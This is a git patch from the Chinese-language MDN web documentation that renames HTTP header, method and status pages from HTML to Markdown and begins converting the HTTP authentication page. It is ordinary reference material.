    diff --git a/files/zh-cn/web/http/headers/dpr/index.html b/files/zh-cn/web/http/headers/dpr/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/dpr/index.html
    rename to files/zh-cn/web/http/headers/dpr/index.md
    diff --git a/files/zh-cn/web/http/headers/early-data/index.html b/files/zh-cn/web/http/headers/early-data/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/early-data/index.html
    rename to files/zh-cn/web/http/headers/early-data/index.md
    diff --git a/files/zh-cn/web/http/headers/etag/index.html b/files/zh-cn/web/http/headers/etag/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/etag/index.html
    rename to files/zh-cn/web/http/headers/etag/index.md
    diff --git a/files/zh-cn/web/http/headers/expect/index.html b/files/zh-cn/web/http/headers/expect/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/expect/index.html
    rename to files/zh-cn/web/http/headers/expect/index.md
    diff --git a/files/zh-cn/web/http/headers/expires/index.html b/files/zh-cn/web/http/headers/expires/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/expires/index.html
    rename to files/zh-cn/web/http/headers/expires/index.md
    diff --git a/files/zh-cn/web/http/headers/feature-policy/index.html b/files/zh-cn/web/http/headers/feature-policy/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/feature-policy/index.html
    rename to files/zh-cn/web/http/headers/feature-policy/index.md
    diff --git a/files/zh-cn/web/http/headers/forwarded/index.html b/files/zh-cn/web/http/headers/forwarded/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/forwarded/index.html
    rename to files/zh-cn/web/http/headers/forwarded/index.md
    diff --git a/files/zh-cn/web/http/headers/from/index.html b/files/zh-cn/web/http/headers/from/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/from/index.html
    rename to files/zh-cn/web/http/headers/from/index.md
    diff --git a/files/zh-cn/web/http/headers/host/index.html b/files/zh-cn/web/http/headers/host/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/host/index.html
    rename to files/zh-cn/web/http/headers/host/index.md
    diff --git a/files/zh-cn/web/http/headers/if-match/index.html b/files/zh-cn/web/http/headers/if-match/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/if-match/index.html
    rename to files/zh-cn/web/http/headers/if-match/index.md
    diff --git a/files/zh-cn/web/http/headers/if-modified-since/index.html b/files/zh-cn/web/http/headers/if-modified-since/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/if-modified-since/index.html
    rename to files/zh-cn/web/http/headers/if-modified-since/index.md
    diff --git a/files/zh-cn/web/http/headers/if-none-match/index.html b/files/zh-cn/web/http/headers/if-none-match/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/if-none-match/index.html
    rename to files/zh-cn/web/http/headers/if-none-match/index.md
    diff --git a/files/zh-cn/web/http/headers/if-range/index.html b/files/zh-cn/web/http/headers/if-range/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/if-range/index.html
    rename to files/zh-cn/web/http/headers/if-range/index.md
    diff --git a/files/zh-cn/web/http/headers/if-unmodified-since/index.html b/files/zh-cn/web/http/headers/if-unmodified-since/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/if-unmodified-since/index.html
    rename to files/zh-cn/web/http/headers/if-unmodified-since/index.md
    diff --git a/files/zh-cn/web/http/headers/index.html b/files/zh-cn/web/http/headers/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/index.html
    rename to files/zh-cn/web/http/headers/index.md
    diff --git a/files/zh-cn/web/http/headers/keep-alive/index.html b/files/zh-cn/web/http/headers/keep-alive/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/keep-alive/index.html
    rename to files/zh-cn/web/http/headers/keep-alive/index.md
    diff --git a/files/zh-cn/web/http/headers/large-allocation/index.html b/files/zh-cn/web/http/headers/large-allocation/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/large-allocation/index.html
    rename to files/zh-cn/web/http/headers/large-allocation/index.md
    diff --git a/files/zh-cn/web/http/headers/last-modified/index.html b/files/zh-cn/web/http/headers/last-modified/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/last-modified/index.html
    rename to files/zh-cn/web/http/headers/last-modified/index.md
    diff --git a/files/zh-cn/web/http/headers/link/index.html b/files/zh-cn/web/http/headers/link/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/link/index.html
    rename to files/zh-cn/web/http/headers/link/index.md
    diff --git a/files/zh-cn/web/http/headers/location/index.html b/files/zh-cn/web/http/headers/location/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/location/index.html
    rename to files/zh-cn/web/http/headers/location/index.md
    diff --git a/files/zh-cn/web/http/headers/pragma/index.html b/files/zh-cn/web/http/headers/pragma/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/pragma/index.html
    rename to files/zh-cn/web/http/headers/pragma/index.md
    diff --git a/files/zh-cn/web/http/headers/proxy-authenticate/index.html b/files/zh-cn/web/http/headers/proxy-authenticate/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/proxy-authenticate/index.html
    rename to files/zh-cn/web/http/headers/proxy-authenticate/index.md
    diff --git a/files/zh-cn/web/http/headers/proxy-authorization/index.html b/files/zh-cn/web/http/headers/proxy-authorization/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/proxy-authorization/index.html
    rename to files/zh-cn/web/http/headers/proxy-authorization/index.md
    diff --git a/files/zh-cn/web/http/headers/range/index.html b/files/zh-cn/web/http/headers/range/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/range/index.html
    rename to files/zh-cn/web/http/headers/range/index.md
    diff --git a/files/zh-cn/web/http/headers/referer/index.html b/files/zh-cn/web/http/headers/referer/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/referer/index.html
    rename to files/zh-cn/web/http/headers/referer/index.md
    diff --git a/files/zh-cn/web/http/headers/referrer-policy/index.html b/files/zh-cn/web/http/headers/referrer-policy/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/referrer-policy/index.html
    rename to files/zh-cn/web/http/headers/referrer-policy/index.md
    diff --git a/files/zh-cn/web/http/headers/retry-after/index.html b/files/zh-cn/web/http/headers/retry-after/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/retry-after/index.html
    rename to files/zh-cn/web/http/headers/retry-after/index.md
    diff --git a/files/zh-cn/web/http/headers/save-data/index.html b/files/zh-cn/web/http/headers/save-data/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/save-data/index.html
    rename to files/zh-cn/web/http/headers/save-data/index.md
    diff --git a/files/zh-cn/web/http/headers/sec-fetch-mode/index.html b/files/zh-cn/web/http/headers/sec-fetch-mode/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/sec-fetch-mode/index.html
    rename to files/zh-cn/web/http/headers/sec-fetch-mode/index.md
    diff --git a/files/zh-cn/web/http/headers/sec-fetch-site/index.html b/files/zh-cn/web/http/headers/sec-fetch-site/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/sec-fetch-site/index.html
    rename to files/zh-cn/web/http/headers/sec-fetch-site/index.md
    diff --git a/files/zh-cn/web/http/headers/sec-fetch-user/index.html b/files/zh-cn/web/http/headers/sec-fetch-user/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/sec-fetch-user/index.html
    rename to files/zh-cn/web/http/headers/sec-fetch-user/index.md
    diff --git a/files/zh-cn/web/http/headers/server-timing/index.html b/files/zh-cn/web/http/headers/server-timing/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/server-timing/index.html
    rename to files/zh-cn/web/http/headers/server-timing/index.md
    diff --git a/files/zh-cn/web/http/headers/server/index.html b/files/zh-cn/web/http/headers/server/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/server/index.html
    rename to files/zh-cn/web/http/headers/server/index.md
    diff --git a/files/zh-cn/web/http/headers/sourcemap/index.html b/files/zh-cn/web/http/headers/sourcemap/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/sourcemap/index.html
    rename to files/zh-cn/web/http/headers/sourcemap/index.md
    diff --git a/files/zh-cn/web/http/headers/strict-transport-security/index.html b/files/zh-cn/web/http/headers/strict-transport-security/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/strict-transport-security/index.html
    rename to files/zh-cn/web/http/headers/strict-transport-security/index.md
    diff --git a/files/zh-cn/web/http/headers/te/index.html b/files/zh-cn/web/http/headers/te/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/te/index.html
    rename to files/zh-cn/web/http/headers/te/index.md
    diff --git a/files/zh-cn/web/http/headers/timing-allow-origin/index.html b/files/zh-cn/web/http/headers/timing-allow-origin/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/timing-allow-origin/index.html
    rename to files/zh-cn/web/http/headers/timing-allow-origin/index.md
    diff --git a/files/zh-cn/web/http/headers/tk/index.html b/files/zh-cn/web/http/headers/tk/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/tk/index.html
    rename to files/zh-cn/web/http/headers/tk/index.md
    diff --git a/files/zh-cn/web/http/headers/trailer/index.html b/files/zh-cn/web/http/headers/trailer/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/trailer/index.html
    rename to files/zh-cn/web/http/headers/trailer/index.md
    diff --git a/files/zh-cn/web/http/headers/transfer-encoding/index.html b/files/zh-cn/web/http/headers/transfer-encoding/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/transfer-encoding/index.html
    rename to files/zh-cn/web/http/headers/transfer-encoding/index.md
    diff --git a/files/zh-cn/web/http/headers/upgrade-insecure-requests/index.html b/files/zh-cn/web/http/headers/upgrade-insecure-requests/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/upgrade-insecure-requests/index.html
    rename to files/zh-cn/web/http/headers/upgrade-insecure-requests/index.md
    diff --git a/files/zh-cn/web/http/headers/user-agent/firefox/index.html b/files/zh-cn/web/http/headers/user-agent/firefox/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/user-agent/firefox/index.html
    rename to files/zh-cn/web/http/headers/user-agent/firefox/index.md
    diff --git a/files/zh-cn/web/http/headers/user-agent/index.html b/files/zh-cn/web/http/headers/user-agent/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/user-agent/index.html
    rename to files/zh-cn/web/http/headers/user-agent/index.md
    diff --git a/files/zh-cn/web/http/headers/vary/index.html b/files/zh-cn/web/http/headers/vary/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/vary/index.html
    rename to files/zh-cn/web/http/headers/vary/index.md
    diff --git a/files/zh-cn/web/http/headers/via/index.html b/files/zh-cn/web/http/headers/via/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/via/index.html
    rename to files/zh-cn/web/http/headers/via/index.md
    diff --git a/files/zh-cn/web/http/headers/warning/index.html b/files/zh-cn/web/http/headers/warning/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/warning/index.html
    rename to files/zh-cn/web/http/headers/warning/index.md
    diff --git a/files/zh-cn/web/http/headers/www-authenticate/index.html b/files/zh-cn/web/http/headers/www-authenticate/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/www-authenticate/index.html
    rename to files/zh-cn/web/http/headers/www-authenticate/index.md
    diff --git a/files/zh-cn/web/http/headers/x-content-type-options/index.html b/files/zh-cn/web/http/headers/x-content-type-options/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/x-content-type-options/index.html
    rename to files/zh-cn/web/http/headers/x-content-type-options/index.md
    diff --git a/files/zh-cn/web/http/headers/x-dns-prefetch-control/index.html b/files/zh-cn/web/http/headers/x-dns-prefetch-control/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/x-dns-prefetch-control/index.html
    rename to files/zh-cn/web/http/headers/x-dns-prefetch-control/index.md
    diff --git a/files/zh-cn/web/http/headers/x-forwarded-for/index.html b/files/zh-cn/web/http/headers/x-forwarded-for/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/x-forwarded-for/index.html
    rename to files/zh-cn/web/http/headers/x-forwarded-for/index.md
    diff --git a/files/zh-cn/web/http/headers/x-forwarded-host/index.html b/files/zh-cn/web/http/headers/x-forwarded-host/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/x-forwarded-host/index.html
    rename to files/zh-cn/web/http/headers/x-forwarded-host/index.md
    diff --git a/files/zh-cn/web/http/headers/x-forwarded-proto/index.html b/files/zh-cn/web/http/headers/x-forwarded-proto/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/x-forwarded-proto/index.html
    rename to files/zh-cn/web/http/headers/x-forwarded-proto/index.md
    diff --git a/files/zh-cn/web/http/headers/x-xss-protection/index.html b/files/zh-cn/web/http/headers/x-xss-protection/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/headers/x-xss-protection/index.html
    rename to files/zh-cn/web/http/headers/x-xss-protection/index.md
    diff --git a/files/zh-cn/web/http/index.html b/files/zh-cn/web/http/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/index.html
    rename to files/zh-cn/web/http/index.md
    diff --git a/files/zh-cn/web/http/link_prefetching_faq/index.html b/files/zh-cn/web/http/link_prefetching_faq/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/link_prefetching_faq/index.html
    rename to files/zh-cn/web/http/link_prefetching_faq/index.md
    diff --git a/files/zh-cn/web/http/messages/index.html b/files/zh-cn/web/http/messages/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/messages/index.html
    rename to files/zh-cn/web/http/messages/index.md
    diff --git a/files/zh-cn/web/http/methods/connect/index.html b/files/zh-cn/web/http/methods/connect/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/methods/connect/index.html
    rename to files/zh-cn/web/http/methods/connect/index.md
    diff --git a/files/zh-cn/web/http/methods/delete/index.html b/files/zh-cn/web/http/methods/delete/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/methods/delete/index.html
    rename to files/zh-cn/web/http/methods/delete/index.md
    diff --git a/files/zh-cn/web/http/methods/get/index.html b/files/zh-cn/web/http/methods/get/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/methods/get/index.html
    rename to files/zh-cn/web/http/methods/get/index.md
    diff --git a/files/zh-cn/web/http/methods/head/index.html b/files/zh-cn/web/http/methods/head/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/methods/head/index.html
    rename to files/zh-cn/web/http/methods/head/index.md
    diff --git a/files/zh-cn/web/http/methods/index.html b/files/zh-cn/web/http/methods/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/methods/index.html
    rename to files/zh-cn/web/http/methods/index.md
    diff --git a/files/zh-cn/web/http/methods/options/index.html b/files/zh-cn/web/http/methods/options/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/methods/options/index.html
    rename to files/zh-cn/web/http/methods/options/index.md
    diff --git a/files/zh-cn/web/http/methods/patch/index.html b/files/zh-cn/web/http/methods/patch/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/methods/patch/index.html
    rename to files/zh-cn/web/http/methods/patch/index.md
    diff --git a/files/zh-cn/web/http/methods/post/index.html b/files/zh-cn/web/http/methods/post/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/methods/post/index.html
    rename to files/zh-cn/web/http/methods/post/index.md
    diff --git a/files/zh-cn/web/http/methods/put/index.html b/files/zh-cn/web/http/methods/put/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/methods/put/index.html
    rename to files/zh-cn/web/http/methods/put/index.md
    diff --git a/files/zh-cn/web/http/methods/trace/index.html b/files/zh-cn/web/http/methods/trace/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/methods/trace/index.html
    rename to files/zh-cn/web/http/methods/trace/index.md
    diff --git a/files/zh-cn/web/http/overview/index.html b/files/zh-cn/web/http/overview/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/overview/index.html
    rename to files/zh-cn/web/http/overview/index.md
    diff --git a/files/zh-cn/web/http/protocol_upgrade_mechanism/index.html b/files/zh-cn/web/http/protocol_upgrade_mechanism/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/protocol_upgrade_mechanism/index.html
    rename to files/zh-cn/web/http/protocol_upgrade_mechanism/index.md
    diff --git a/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_pac_file/index.html b/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_pac_file/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_pac_file/index.html
    rename to files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_pac_file/index.md
    diff --git a/files/zh-cn/web/http/redirections/index.html b/files/zh-cn/web/http/redirections/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/redirections/index.html
    rename to files/zh-cn/web/http/redirections/index.md
    diff --git a/files/zh-cn/web/http/resources_and_specifications/index.html b/files/zh-cn/web/http/resources_and_specifications/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/resources_and_specifications/index.html
    rename to files/zh-cn/web/http/resources_and_specifications/index.md
    diff --git a/files/zh-cn/web/http/session/index.html b/files/zh-cn/web/http/session/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/session/index.html
    rename to files/zh-cn/web/http/session/index.md
    diff --git a/files/zh-cn/web/http/status/206/index.html b/files/zh-cn/web/http/status/206/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/status/206/index.html
    rename to files/zh-cn/web/http/status/206/index.md
    diff --git a/files/zh-cn/web/http/status/304/index.html b/files/zh-cn/web/http/status/304/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/status/304/index.html
    rename to files/zh-cn/web/http/status/304/index.md
    diff --git a/files/zh-cn/web/http/status/308/index.html b/files/zh-cn/web/http/status/308/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/status/308/index.html
    rename to files/zh-cn/web/http/status/308/index.md
    diff --git a/files/zh-cn/web/http/status/410/index.html b/files/zh-cn/web/http/status/410/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/status/410/index.html
    rename to files/zh-cn/web/http/status/410/index.md
    diff --git a/files/zh-cn/web/http/status/422/index.html b/files/zh-cn/web/http/status/422/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/status/422/index.html
    rename to files/zh-cn/web/http/status/422/index.md
    diff --git a/files/zh-cn/web/http/status/501/index.html b/files/zh-cn/web/http/status/501/index.md
    similarity index 100%
    rename from files/zh-cn/web/http/status/501/index.html
    rename to files/zh-cn/web/http/status/501/index.md
    
    From 4d1f9bfabf3a9ad6a67acc39a00f7ae6ab89a46d Mon Sep 17 00:00:00 2001
    From: allo 
    Date: Sat, 13 Aug 2022 14:15:00 +0800
    Subject: [PATCH 3/3] convert to markdown for web/http
    
    ---
     files/zh-cn/web/http/authentication/index.md  | 137 +--
     .../index.md                                  |  64 +-
     .../basics_of_http/evolution_of_http/index.md | 174 ++--
     files/zh-cn/web/http/basics_of_http/index.md  |  72 +-
     .../mime_types/common_types/index.md          | 430 ++-------
     .../http/basics_of_http/mime_types/index.md   | 433 ++++-----
     .../index.md                                  | 336 ++-----
     files/zh-cn/web/http/caching/index.md         | 166 ++--
     files/zh-cn/web/http/compression/index.md     |  66 +-
     .../index.md                                  |  97 +-
     .../index.md                                  |  86 +-
     .../web/http/content_negotiation/index.md     | 150 ++-
     .../list_of_default_accept_values/index.md    | 318 ++----
     files/zh-cn/web/http/cookies/index.md         | 330 +++----
     files/zh-cn/web/http/cors/errors/index.md     |  84 +-
     .../http/headers/accept-ch-lifetime/index.md  |  49 +-
     .../zh-cn/web/http/headers/accept-ch/index.md |  55 +-
     .../web/http/headers/accept-charset/index.md  |  99 +-
     .../web/http/headers/accept-encoding/index.md | 116 +--
     .../web/http/headers/accept-language/index.md |  87 +-
     .../web/http/headers/accept-patch/index.md    |  69 +-
     .../web/http/headers/accept-ranges/index.md   |  66 +-
     files/zh-cn/web/http/headers/accept/index.md  |  85 +-
     .../access-control-allow-credentials/index.md |  78 +-
     .../access-control-allow-headers/index.md     | 125 ++-
     .../access-control-allow-methods/index.md     |  74 +-
     .../access-control-allow-origin/index.md      |  78 +-
     .../access-control-expose-headers/index.md    |  98 +-
     .../headers/access-control-max-age/index.md   |  66 +-
     .../access-control-request-headers/index.md   |  52 +-
     .../access-control-request-method/index.md    |  52 +-
     files/zh-cn/web/http/headers/age/index.md     |  58 +-
     files/zh-cn/web/http/headers/allow/index.md   |  52 +-
     files/zh-cn/web/http/headers/alt-svc/index.md |  41 +-
     .../web/http/headers/authorization/index.md   | 104 +-
     .../web/http/headers/cache-control/index.md   | 228 +++--
     .../web/http/headers/clear-site-data/index.md | 104 +-
     .../web/http/headers/connection/index.md      |  48 +-
     .../http/headers/content-disposition/index.md | 110 +--
     .../http/headers/content-language/index.md    | 104 +-
     .../web/http/headers/content-length/index.md  |  46 +-
     .../http/headers/content-location/index.md    |  54 +-
     .../web/http/headers/content-range/index.md   | 105 +-
     .../index.md                                  | 153 +--
     .../content-security-policy/base-uri/index.md |  89 +-
     .../child-src/index.md                        |  75 +-
     .../connect-src/index.md                      |  99 +-
     .../default-src/index.md                      | 204 ++--
     .../content-security-policy/font-src/index.md |  72 +-
     .../form-action/index.md                      |  93 +-
     .../frame-ancestors/index.md                  | 141 ++-
     .../headers/content-security-policy/index.md  | 298 +++---
     .../report-to/index.md                        | 110 +--
     .../content-security-policy/sandbox/index.md  | 108 ++-
     .../script-src-elem/index.md                  |  74 +-
     .../worker-src/index.md                       |  79 +-
     .../web/http/headers/content-type/index.md    | 108 +--
     .../cross-origin-embedder-policy/index.md     |  83 +-
     .../cross-origin-resource-policy/index.md     |  51 +-
     files/zh-cn/web/http/headers/date/index.md    |  83 +-
     .../web/http/headers/device-memory/index.md   |  68 +-
     files/zh-cn/web/http/headers/digest/index.md  |  78 +-
     files/zh-cn/web/http/headers/dnt/index.md     |  92 +-
     files/zh-cn/web/http/headers/dpr/index.md     |  60 +-
     .../web/http/headers/early-data/index.md      |  40 +-
     files/zh-cn/web/http/headers/etag/index.md    | 102 +-
     files/zh-cn/web/http/headers/expect/index.md  |  73 +-
     files/zh-cn/web/http/headers/expires/index.md |  67 +-
     .../web/http/headers/feature-policy/index.md  | 172 ++--
     .../zh-cn/web/http/headers/forwarded/index.md | 120 +--
     files/zh-cn/web/http/headers/from/index.md    |  58 +-
     files/zh-cn/web/http/headers/host/index.md    |  62 +-
     .../zh-cn/web/http/headers/if-match/index.md  |  79 +-
     .../http/headers/if-modified-since/index.md   | 117 +--
     .../web/http/headers/if-none-match/index.md   |  84 +-
     .../zh-cn/web/http/headers/if-range/index.md  | 136 ++-
     .../http/headers/if-unmodified-since/index.md | 121 +--
     files/zh-cn/web/http/headers/index.md         | 628 ++----------
     .../web/http/headers/keep-alive/index.md      |  73 +-
     .../http/headers/large-allocation/index.md    |  99 +-
     .../web/http/headers/last-modified/index.md   |  92 +-
     files/zh-cn/web/http/headers/link/index.md    |  46 +-
     .../zh-cn/web/http/headers/location/index.md  |  68 +-
     files/zh-cn/web/http/headers/pragma/index.md  |  65 +-
     .../http/headers/proxy-authenticate/index.md  |  63 +-
     .../http/headers/proxy-authorization/index.md |  72 +-
     files/zh-cn/web/http/headers/range/index.md   |  78 +-
     files/zh-cn/web/http/headers/referer/index.md |  70 +-
     .../web/http/headers/referrer-policy/index.md | 342 +++----
     .../web/http/headers/retry-after/index.md     |  73 +-
     .../zh-cn/web/http/headers/save-data/index.md |  79 +-
     .../web/http/headers/sec-fetch-mode/index.md  |  81 +-
     .../web/http/headers/sec-fetch-site/index.md  |  78 +-
     .../web/http/headers/sec-fetch-user/index.md  |  67 +-
     .../web/http/headers/server-timing/index.md   |  50 +-
     files/zh-cn/web/http/headers/server/index.md  |  54 +-
     .../zh-cn/web/http/headers/sourcemap/index.md |  54 +-
     .../strict-transport-security/index.md        | 113 +--
     files/zh-cn/web/http/headers/te/index.md      |  74 +-
     .../http/headers/timing-allow-origin/index.md |  71 +-
     files/zh-cn/web/http/headers/tk/index.md      |  84 +-
     files/zh-cn/web/http/headers/trailer/index.md |  80 +-
     .../http/headers/transfer-encoding/index.md   |  93 +-
     .../upgrade-insecure-requests/index.md        |  57 +-
     .../http/headers/user-agent/firefox/index.md  | 522 ++++------
     .../web/http/headers/user-agent/index.md      | 158 ++-
     files/zh-cn/web/http/headers/vary/index.md    |  74 +-
     files/zh-cn/web/http/headers/via/index.md     |  69 +-
     files/zh-cn/web/http/headers/warning/index.md | 164 ++--
     .../http/headers/www-authenticate/index.md    |  71 +-
     .../headers/x-content-type-options/index.md   |  68 +-
     .../headers/x-dns-prefetch-control/index.md   | 101 +-
     .../web/http/headers/x-forwarded-for/index.md |  75 +-
     .../http/headers/x-forwarded-host/index.md    |  63 +-
     .../http/headers/x-forwarded-proto/index.md   |  63 +-
     .../http/headers/x-xss-protection/index.md    | 104 +-
     files/zh-cn/web/http/index.md                 |  98 +-
     .../web/http/link_prefetching_faq/index.md    | 127 +--
     files/zh-cn/web/http/messages/index.md        | 162 ++--
     files/zh-cn/web/http/methods/connect/index.md |  74 +-
     files/zh-cn/web/http/methods/delete/index.md  | 118 +--
     files/zh-cn/web/http/methods/get/index.md     |  68 +-
     files/zh-cn/web/http/methods/head/index.md    |  62 +-
     files/zh-cn/web/http/methods/index.md         |  60 +-
     files/zh-cn/web/http/methods/options/index.md | 103 +-
     files/zh-cn/web/http/methods/patch/index.md   | 104 +-
     files/zh-cn/web/http/methods/post/index.md    | 128 +--
     files/zh-cn/web/http/methods/put/index.md     | 105 +-
     files/zh-cn/web/http/methods/trace/index.md   |  78 +-
     files/zh-cn/web/http/overview/index.md        | 217 ++---
     .../http/protocol_upgrade_mechanism/index.md  | 261 ++---
     .../index.md                                  | 911 +++++++++---------
     files/zh-cn/web/http/redirections/index.md    | 364 +++----
     .../resources_and_specifications/index.md     | 309 +-----
     files/zh-cn/web/http/session/index.md         | 166 ++--
     files/zh-cn/web/http/status/206/index.md      |  50 +-
     files/zh-cn/web/http/status/304/index.md      |  36 +-
     files/zh-cn/web/http/status/308/index.md      |  30 +-
     files/zh-cn/web/http/status/410/index.md      |  28 +-
     files/zh-cn/web/http/status/422/index.md      |  16 +-
     files/zh-cn/web/http/status/501/index.md      |  22 +-
     141 files changed, 6771 insertions(+), 9957 deletions(-)
    
    diff --git a/files/zh-cn/web/http/authentication/index.md b/files/zh-cn/web/http/authentication/index.md
    index b3f8a54ad6ea25..53fd638a3d59a3 100644
    --- a/files/zh-cn/web/http/authentication/index.md
    +++ b/files/zh-cn/web/http/authentication/index.md
    @@ -7,119 +7,122 @@ tags:
       - 身份验证
     translation_of: Web/HTTP/Authentication
     ---
    -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    HTTP 提供一个用于权限控制和认证的通用框架。最常用的 HTTP 认证方案是 HTTP Basic authentication。本页介绍了通用的 HTTP 认证框架以及展示如何通过 HTTP Basic authentication 来限制权限访问您的服务器。

    +HTTP 提供一个用于权限控制和认证的通用框架。最常用的 HTTP 认证方案是 HTTP Basic authentication。本页介绍了通用的 HTTP 认证框架以及展示如何通过 HTTP Basic authentication 来限制权限访问您的服务器。 -

    通用的 HTTP 认证框架

    +## 通用的 HTTP 认证框架 -

    {{RFC("7235")}} 定义了一个 HTTP 身份验证框架,服务器可以用来针对客户端的请求发送 {{glossary("challenge")}}(质询信息),客户端则可以用来提供身份验证凭证。质询与应答的工作流程如下:服务器端向客户端返回 {{HTTPStatus("401")}}(Unauthorized,未被授权的)状态码,并在 {{HTTPHeader("WWW-Authenticate")}} 首部提供如何进行验证的信息,其中至少包含有一种质询方式。之后有意向证明自己身份的客户端可以在新的请求中添加 {{HTTPHeader("Authorization")}} 首部字段进行验证,字段值为身份验证凭证信息。通常客户端会弹出一个密码框让用户填写,然后发送包含有恰当的 Authorization 首部的请求。

    +{{RFC("7235")}} 定义了一个 HTTP 身份验证框架,服务器可以用来针对客户端的请求发送 {{glossary("challenge")}}(质询信息),客户端则可以用来提供身份验证凭证。质询与应答的工作流程如下:服务器端向客户端返回 {{HTTPStatus("401")}}(Unauthorized,未被授权的)状态码,并在 {{HTTPHeader("WWW-Authenticate")}} 首部提供如何进行验证的信息,其中至少包含有一种质询方式。之后有意向证明自己身份的客户端可以在新的请求中添加 {{HTTPHeader("Authorization")}} 首部字段进行验证,字段值为身份验证凭证信息。通常客户端会弹出一个密码框让用户填写,然后发送包含有恰当的 `Authorization` 首部的请求。 -

    +![](https://mdn.mozillademos.org/files/14689/HTTPAuth.png) -

    在上图所示的基本身份验证过程中,信息交换须通过 HTTPS(TLS) 连接来保证安全。

    +在上图所示的基本身份验证过程中,信息交换须通过 HTTPS(TLS) 连接来保证安全。 -

    代理认证

    +### 代理认证 -

    与上述同样的询问质疑和响应原理使用于代理认证。下面介绍一个中间代理需要认证的例子。资源认证和代理认证可以并存,区别于独立的头信息和响应状态码。代理认证,询问质疑的状态码是 {{HTTPStatus("407")}}(必须提供代理证书),响应头{{HTTPHeader("Proxy-Authenticate")}}至少包含一个可用的质制,并且请求头{{HTTPHeader("Proxy-Authorization")}}用作提供证书给代理服务器。

    +与上述同样的询问质疑和响应原理使用于代理认证。下面介绍一个中间代理需要认证的例子。资源认证和代理认证可以并存,区别于独立的头信息和响应状态码。代理认证,询问质疑的状态码是 {{HTTPStatus("407")}}(必须提供代理证书),响应头{{HTTPHeader("Proxy-Authenticate")}}至少包含一个可用的质制,并且请求头{{HTTPHeader("Proxy-Authorization")}}用作提供证书给代理服务器。 -

    访问拒绝

    +### 访问拒绝 -

